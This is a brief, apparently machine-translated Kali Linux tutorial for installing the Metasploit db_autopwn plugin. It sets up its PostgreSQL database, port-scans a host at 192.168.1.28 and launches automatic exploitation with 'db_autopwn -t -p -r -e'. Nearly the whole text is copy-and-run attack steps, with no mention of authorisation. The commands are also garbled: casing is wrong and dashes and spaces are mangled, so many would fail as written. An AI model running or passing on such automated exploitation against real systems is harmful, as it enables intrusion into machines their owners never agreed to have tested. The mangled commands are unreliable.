Metasploit Automatic Attack module
Environment: KALI-LINUX-2017.3-VM-AMD64
First, Installing the PostgreSQL database
Apt-get Install PostgreSQL
Apt-get Install RubyGems Libpq-dev
Apt-get Install Libreadline-dev
Apt-get Install Libssl-dev
Apt-get Install Libpq5
Apt-get Install Ruby-dev
Apt-get Install Libpq-dev
Copy directly to Kali to execute.
Second, Automatic Configuration database
Service Postgres Start Services
Msfdb init automatically creates databases, users, passwords
Third, manually configure the database
passwd postgres Modify PostgreSQL database Password
Su Postgres into the database
CreateUser hello–p Create a user hello and set a password
Createdb--owner=hello Db_hello to create a database for user Hello Db_hello
Psql Db_hello into Db_hello database
Four, Installing the DB_AUTOPWN.RB module
Cd/usr/share/metasploit-framework/plugins locating to the MSF plug-in Directory
git clone https://github.com/hahwul/metasploit-db_autopwn.git installation Db_autopwn
CD Metasploit-db_autopwn
MV Db_autopwn.rb/usr/share/metasploit-framework/plugins
Open Msfconsole to see if the DB_AUTOPWN is installed successfully and execute the following command:
Load DB_AUTOPWN results indicate successful installation
Five, attack with auto-load module with DB_AUTOPWN
Msfconsole
Use AUXILIARY/SCANNER/PORTSCAN/TCP call TCP Scan module
Set Rhosts 192.168.1.28
Set Threads 10
Exploit
Auto Load Module
Db_autopwn–t–p–r–e
Metasploit Automatic Attack module